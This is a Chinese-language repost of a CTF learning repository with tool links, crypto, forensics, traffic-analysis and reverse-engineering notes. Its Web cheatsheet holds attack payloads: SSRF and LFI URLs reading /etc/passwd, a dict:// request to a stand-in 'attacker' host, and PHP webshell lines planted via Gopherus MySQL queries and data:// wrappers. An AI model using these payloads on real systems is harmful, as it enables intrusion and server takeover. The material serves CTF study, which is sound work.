一个CTF学习、项目、工具知识仓库

admin

140350
文章

117
评论

2022年11月25日22:34:38评论73 views字数 9898阅读32分59秒阅读模式

【免责声明】文章所涉及的技术、思路和工具仅供安全技术研究，任何人不得将其用于非授权渗透测试，不得将其用于非法用途和盈利，否则后果自行承担。

CTF项目

CTF Wiki：https://ctf-wiki.org/
CTF Time：https://ctftime.org/
攻防世界：https://adworld.xctf.org.cn/
Hacker 101：https://www.hacker101.com/
Cryptopals：密码学练习题目 https://cryptopals.com/
Awesome-ctf：https://github.com/apsdehal/awesome-ct

CTF工具

综合工具

CTF Tools：https://github.com/zardus/ctf-tools

Crypto

CyberChef：综合编解码及加密，可本地部署 https://github.com/gchq/CyberChef
OK Tools在线工具：https://github.com/wangyiwy/oktools
CTF在线工具：http://www.hiencode.com/
XSSEE：在线综合编解码 https://evilcos.me/lab/xssee/
MeTools：在线综合编解码 http://www.metools.info/code/quotedprintable231.html
MD5 Hash：https://www.somd5.com/
GB2312：http://code.mcdvisa.com/
Unicode字符表：https://www.52unicode.com/enclosed-alphanumerics-zifu
Unicode：https://www.compart.com/en/unicode/
UUencode：http://web.chacuo.net/charsetuuencode
XXencode：输入文本以每三个字节为单位进行编码 http://web.chacuo.net/charsetxxencode
Escape/Unescape：https://tool.chinaz.com/tools/escape.aspx
HTML实体编码：https://zh.rakko.tools/tools/21/
摩斯电码：http://moersima.00cha.net/
摩斯电码：http://www.zhongguosou.com/zonghe/moersicodeconverter.aspx
栅栏密码：https://www.qqxiuzi.cn/bianma/zhalanmima.php
猪圈密码：http://www.hiencode.com/pigpen.html
零宽字符：http://330k.github.io/misc_tools/unicode_steganography.html
Base64填充位隐写读取：https://github.com/cjcslhp/wheels/tree/master/b64stego
yafu：RSA解题中的因式分解 https://github.com/bbuhrow/yafu

Misc

图片

Stegsolve：图片隐写 http://www.caesum.com/handbook/stego.ht
图虫在线EXIF查看器：https://exif.tuchong.com/
EXIF查看器：exiftool https://exiftool.org/
盲水印提取：https://github.com/chishaxie/BlindWaterMark
OCR在线识别：https://web.baimiaoapp.com/
解决拼图问题：montage+gaps https://github.com/nemanja-m/gaps
在线绘制二维码/汉信码：https://www.pixilart.com/draw?ref=home-page
在线绘制二维码：https://merricx.github.io/qrazybox/
在线扫描一维码：https://online-barcode-reader.inliteresearch.com/

音视频

Audacity：音频隐写 https://www.audacityteam.org/
Mp3Stego：Mp3音频隐写 https://www.petitcolas.net/steganography/mp3stego/

流量分析

Pcap流量包在线修复：http://f00l.de/hacking/pcapfix.php

日志分析

ProcessMonitor：进程监视器 https://learn.microsoft.com/zh-cn/sysinternals/downloads/procmon
Event log explorer：日志查看器 https://www.eventlogxp.com/

数据处理

010 Editor：https://www.sweetscape.com/010editor/
Binwalk：https://github.com/ReFirmLabs/binwalk
在线正则表达式：https://c.runoob.com/front-end/854/

Web

localhost绕过：127.0.0.1 >>> 2130706433 https://www.browserling.com/tools/ip-to-dec

Pwn

Pwntools：CTF框架和漏洞利用开发库 https://github.com/Gallopsled/pwntools

Reverse

ExEinfo PE：查看PE文件信息
PEID：查壳工具
Cutter：https://cutter.re/
IDA：https://hex-rays.com/ida-pro/
Ollydbg：https://www.ollydbg.de/
angr：二进制分析 https://github.com/angr/angr

Cheatsheet

Tips

搜索flag

grep -rn “flag{” /*

find / -type f -name '*' | xargs grep "flag{"

Crypto

常见加密/编码算法特征

1.Base64

一般只包含以下字符：

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

2.AES

密钥长度是128bit或者256bit，长度都是16字节。

密文是128或256的整倍数。

3.DES

密钥长度固定8字节。密钥需要运行初始化函数进行单独初始化。

分段加密，每8字节分段。

4.RSA

非对称加密算法，密钥需要单独初始化。

密钥长度一般很长，存储格式为base64文本。

5. ECC

密钥需要单独初始化。

Misc

常用命令

1.file

在文件无格式或格式不明时判断文件类型。

> file Exploit.classExploit.class: compiled Java class data, version 52.0 (Java 1.8)

2.binwalk & foremost

分离提取隐写的文件。

3.dd

用于读取、转换并输出数据。

4.openssl

openssl rsautl -decrypt -in whoami.txt -inkey private.key out flag.txt

常用正则表达式

1.中国手机号

手机号为11 位10进制数字字符串。

^(13[0-9]|14[01456879]|15[0-35-9]|16[2567]|17[0-8]|18[0-9]|19[0-35-9])d{8}$

带中划线的手机号码

^[+]{0,1}(d){1,3}[ ]?([-]?((d)|[ ]){1,12})+$

2.电话号码

"XXX-XXXXXXX"、"XXXX-XXXXXXXX"
```
((d{3,4})|d{3,4}-|s)?d{8}
```
"XXX-XXXXXXX"、"XXXX-XXXXXXXX"、"XXX-XXXXXXX"、"XXX-XXXXXXXX"、"XXXXXXX"和"XXXXXXXX"
```
^((d{3,4}-)|d{3.4}-)?d{7,8}$
```
国内电话号码(0511-4405222、021-87888822)
```
d{3}-d{8}|d{4}-d{7}
```

支持手机号码，3-4位区号，7-8位直播号码，1－4位分机号

 ((d{11})|^((d{7,8})|(d{4}|d{3})-(d{7,8})|(d{4}|d{3})-(d{7,8})-(d{4}|d{3}|d{2}|d{1})|(d{7,8})-(d{4}|d{3}|d{2}|d{1}))$)

3.身份证号

15位、18位数字，最后一位是校验位，可能为数字或字符X
```
(^d{15}$)|(^d{18}$)|(^d{17}(d|X|x)$)
```

4.国际移动设备识别码（IMEI）

IMEI（15 位十进制数字：14 位加上一个校验位）用于表示有关设备来源、型号和序列号的信息。
15位由TAC(+FAC) + SNR + CD组成。末尾采用Luhn 校验位。
```
/^d{15,17}$/
```

5.银行卡号（BankCard）

银行卡的长度限制在13-19位。
银行卡号一般有五部分组成：发卡机构标识代码（BIN）、地区代码、卡种类码、顺序码、校验码。
校验码采用Luhn算法计算。
```
/^([1-9]{1})(d{12}|d{18})$/
```

6.IP地址（IPv4）

由四段数字组成，例如192.168.0.1，其中的数字都是十进制的数字，中间用实心圆点分隔。

((2(5[0-5]|[0-4]d))|[0-1]?d{1,2})(.((2(5[0-5]|[0-4]d))|[0-1]?d{1,2})){3}

((?:(?:25[0-5]|2[0-4]d|[01]?d?d).){3}(?:25[0-5]|2[0-4]d|[01]?d?d))

7.域名

[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+.?

^((http://)|(https://))?([a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?.)+[a-zA-Z]{2,6}(/)

8.URL

[a-zA-z]+://[^s]* 或 ^http://([w-]+.)+[w-]+(/[w-./?%&=]*)?$

9.邮箱地址（Email）

^w+([-+.]w+)*@w+([-.]w+)*.w+([-.]w+)*$

^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(.[a-zA-Z0-9_-]+)+$

wireshark流量分析

过滤IP：

ip.src eq xxx.xxx.xxx.xxx or ip.dst eq xxx.xxx.xxx.xxx

ip.addr eq xxx.xxx.xxx.xxx

过滤端口：

tcp.port eq 80 or udp.port eq 80

tcp.dstport == 80 or tcp.srcport == 80

tcp.port >=1 and tcp.port <=80

过滤协议：

tcp/udp/arp/icmp/http/ftp/dns/ip

过滤MAC：

eth.dst == A0:04:C6:85:63:73

HTTP过滤：

http.request.method == "GET"

http.request.method == "POST"

http.request.uri == "/img/logo.png"

http contains "GET"

http contains "HTTP/1."

http.request.method == "GET" && http contains "User-Agent:"

tshark流量分析

tshark -r **.pcap –Y ** -T fields –e ** | **** > data----------------------------------------------------------------tshark -r capture.pcapng -T fields -e usb.capdata > data2.txt

Usage:  -Y <display filter>      packet displaY filter in Wireshark display filter                           syntax  -T pdml|ps|psml|json|jsonraw|ek|tabs|text|fields|?                           format of text output (def: text)  -e <field>               field to print if -Tfields selected (e.g. tcp.port,                           _ws.col.Info)

通过-Y过滤器 (与 wireshark 一致), 然后用-T filds -e配合指定显示的数据段 (比如 usb.capdata)

-e后的参数不确定可以由 wireshark 右击需要的数据选中后得到

Unicode四种编码形式

源文本：The

&#x [Hex]: &#x0054;&#x0068;&#x0065;&# [Decimal]: &#00084;&#00104;&#00101;U [Hex]: U0054U0068U0065U+ [Hex]: U+0054U+0068U+0065

图片分析

图片分析的一般步骤：

首先查看EXIF信息。
如果图片在windows下能查看，kali下无法查看，说明格式数据错误，可以修改图片的长宽高来显示隐藏图像。
通过binwalk或者foremost查看是否有隐藏文件。
通过stegsolve进行色差分析，查看zlib数据段。
查看文件是否包含有损坏的其他文件，查找文件中是否有可疑字符串，例如flag、key、pass。
验证是否存在隐写，例如LSB隐写。

jpg长宽修改

修改图片高度， FF C0后的第4个字节和第5个字节

png长宽修改

修改0x14到0x17的四个字节

一个CTF学习、项目、工具知识仓库

修改后：

一个CTF学习、项目、工具知识仓库

压缩包分析

不同压缩包分析方法分别用于：

ZIP暴力破解：文件的密码为纯数字且位数不多时。
ZIP伪加密：ZIP文件的压缩源文件目录中09 00修改为00 00，可以成功解压时。
CRC32攻击：当文件数据少且文件大小较小时。
明文攻击：加密文件中存在部分已知文件（>12字节）时。

一些tips：

文件打不开，显示“压缩文件已损坏”时，尝试winrar工具中的修复功能进行修复。

zip伪加密

zip文件组成：

压缩源文件数据区 50 4B 03 04（0x04034b50）
压缩源文件目录区 50 4B 01 02（0x02014b50）
压缩源文件目录结束标志50 4B 05 06（0x06054b50）

压缩源文件数据区：

50 4B 03 04：这是头文件标记（0x04034b50）14 00：解压文件所需 pkware 版本09 00：全局方式位标记（有无加密）08 00：压缩方式50 A3：最后修改文件时间A5 4A：最后修改文件日期21 38 76 64：CRC-32校验（1480B516）19 00 00 00：压缩后尺寸（25）17 00 00 00：未压缩尺寸（23）08 00：文件名长度00 00：扩展记录长度

压缩源文件目录区：

50 4B 01 02：目录中文件文件头标记(0x02014b50)1F 00：压缩使用的 pkware 版本14 00：解压文件所需 pkware 版本09 00：全局方式位标记（有无加密，这个更改这里进行伪加密，改为09 00打开就会提示有密码了）08 00：压缩方式50 A3：最后修改文件时间A5 4A：最后修改文件日期21 38 76 65：CRC-32校验（1480B516）19 00 00 00：压缩后尺寸（25）17 00 00 00：未压缩尺寸（23）08 00：文件名长度24 00：扩展字段长度00 00：文件注释长度00 00：磁盘开始号00 00：内部文件属性20 00 00 00：外部文件属性00 00 00 00：局部头部偏移量

压缩文件源文件目录结束区：

50 4B 05 06：目录结束标记(0x06054b50)00 00：当前磁盘编号00 00：目录区开始磁盘编号01 00：本磁盘上纪录总数01 00：目录区中纪录总数59 00 00 00：目录区尺寸大小3E 00 00 00 00：目录区对第一张磁盘的偏移量00 00：ZIP文件注释长度

真假加密：

# 无加密 压缩源文件数据区的全局加密应当为00 00且压缩源文件目录区的全局方式位标记应当为00 00

# 假加密压缩源文件数据区的全局加密应当为00 00且压缩源文件目录区的全局方式位标记应当为09 00

# 真加密压缩源文件数据区的全局加密应当为09 00且压缩源文件目录区的全局方式位标记应当为09 00

判断伪加密 ZipCenOp

java -jar ZipCenOp.jar xxx.zip

Windows日志分析

常见安全事件

检索4624/4625登录事件，爆破时间点与登录事件点一一对应的可能是异常账户。

4624  --登录成功   4625  --登录失败  4634 -- 注销成功4647 -- 用户启动的注销   4672 -- 使用超级用户（如管理员）进行登录

Web

localhost绕过

http://127.0.0.1:80http://localhost:22http://[::]:80/  >>>  http://127.0.0.1http://[email protected]http://127.0.0.1.xip.io/http://127。0。0。1  >>>  http://127.0.0.1http://0/
# 十六进制、八进制转换http://127.0.0.1  >>>  http://0177.0.0.1/
# 转换为小数 https://www.browserling.com/tools/ip-to-dechttp://127.0.0.1  >>>  http://2130706433/

Gopherus

# mysql> python2 gopherus.py --exploit mysql---------------------------------------------Give MySQL username: rootGive query to execute: select "<?php phpinfo();?>" into outfile "/var/www/html/gopher.php"

select "<?php @eval($_POST[c]);?>" into outfile "/var/www/html/gopher.php"

SSRF payload

PayloadsAllTheThings

file

file://path/to/filefile:///etc/passwdfile:////etc/passwdssrf.php?url=file:///etc/passwd

http

ssrf.php?url=http://127.0.0.1:22ssrf.php?url=http://127.0.0.1:80ssrf.php?url=http://127.0.0.1:443

dict

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>ssrf.php?url=dict://attacker:11111/

LFI payload

index.php?path=php://filter/read=convert.base64-encode/resource=flag.php

PHP伪协议

file协议：

http://ip:port/readme.php?filename=file:///var/log/auth.log

filter协议：

http://ip:port/readme.php?filename=php://filter/read/convert.base64-encode/resource=./index.php(或者其他读取文件中含有php代码)

filter+file协议：

http://ip:port/readme.php?filename=php://filter/read/convert.base64-encode/resource=file:///etc/passwd

input协议：

http://ip:port/readme.php?filename=php://www.test.com?filename=php://input
# POST方式，参数为：<?php phpinfo();?>

data协议：

data://text/plain;base64,
# 打印data://的内容<?php// 打印 "I love PHP"echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');?>

# 执行系统命令# 将 <?php system(whoami)?> base64编码：PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==http://ip:port/readme.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==
# 也可以将webshell进行base64编码/或不编码http://ip:port/readme.php?filename=data://text/plain;base64,<?php eval($_POST["cmd"];)?>

Pwn

Pwntools

导入包：

> from pwn import *

建立/关闭连接：

# 本地连接sh = process("./code")

# 远程连接sh = remote("127.0.0.1",6666)

# 关闭连接sh.close()

I/O操作：

# 发送数据sh.send(data)
# 发送一行数据sh.sendline(data)

# 接收数据，numb指定接收字节sh.recv(numb=1024, timeout = default)
# 接收一行数据，keepends表示是否保留行尾nsh.recvline(keepends = True)
# 接收数据直到设置的标志出现sh.recvutil("Hellon", drop=false)
# 持续接收数据直到EOFsh.recvall()
# 持续接收数据直到EOF或timeoutsh.recvrepeat(timeout = default)

# 直接进行交互，在取得shell后使用sh.interactive()

Reverse

IDA快捷键

功能	快捷键
切换文本视图与图表视图	空格键
返回上一个操作地址	ESC
搜索地址和符号	G
对符号进行重命名	N
常规注释	冒号
可重复注释	分号
添加标签	Alt+M
查看标签	Ctrl+M
查看段的信息	Ctrl+S
查看交叉应用	X
查看伪代码	F5
搜索文本	Alt+T
搜索十六进制	Alt+B

Scripts

分割图片恢复原图：https://github.com/Threekiii/Awesome-CTF/blob/master/scripts/misc/image_merge.py
二维码010101绘制：

https://github.com/Threekiii/Awesome-CTF/blob/master/scripts/misc/qrcode_painter_1.py
https://github.com/Threekiii/Awesome-CTF/blob/master/scripts/misc/qrcode_painter_2.py

作者：Threekiii，转自github

加个好友进渗透技术交流群

请备注：进群

一个CTF学习、项目、工具知识仓库

推荐阅读

欢迎在看丨留言丨分享至朋友圈 三连

 好文推荐  

实战|记录一次万元漏洞赏金的挖掘

实战|记录一次350美金漏洞的自动化挖掘过程

新AWVS15.0.221007170  PJ版 支持Windows/Linux （附下载地址）

全网最全的Cobalt Strike使用教程系列-基础篇

内网横向移动常用方法总结（附工具）

常用内网反弹shell方法一览

实战|记一次攻防演练实战总结

三款windows下图形化应急响应工具 （附下载地址）

AppScan10.0.8（附下载地址）

BurpSuite_pro_v2022.8（附下载地址）

原文始发于微信公众号（乌雲安全）：一个CTF学习、项目、工具知识仓库

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

左青龙
微信扫一扫

右白虎
微信扫一扫

CTF项目

CTF工具

综合工具

Crypto

Misc

图片

音视频

流量分析

日志分析

数据处理

Web

Pwn

Reverse

Cheatsheet

Tips

搜索flag

Crypto

常见加密/编码算法特征

1.Base64

2.AES

3.DES

4.RSA

5. ECC

Misc

常用命令

1.file

2.binwalk & foremost

3.dd

4.openssl

常用正则表达式

1.中国手机号

2.电话号码

3.身份证号

4.国际移动设备识别码（IMEI）

5.银行卡号（BankCard）

6.IP地址（IPv4）

7.域名

8.URL

9.邮箱地址（Email）

wireshark流量分析

tshark流量分析

Unicode四种编码形式

图片分析

jpg长宽修改

zip伪加密

判断伪加密 ZipCenOp

常见安全事件

Web

localhost绕过

Gopherus

SSRF payload

file

http

dict

LFI payload

PHP伪协议

Pwn

Pwntools

Reverse

IDA快捷键

发表评论

在线咨询

微信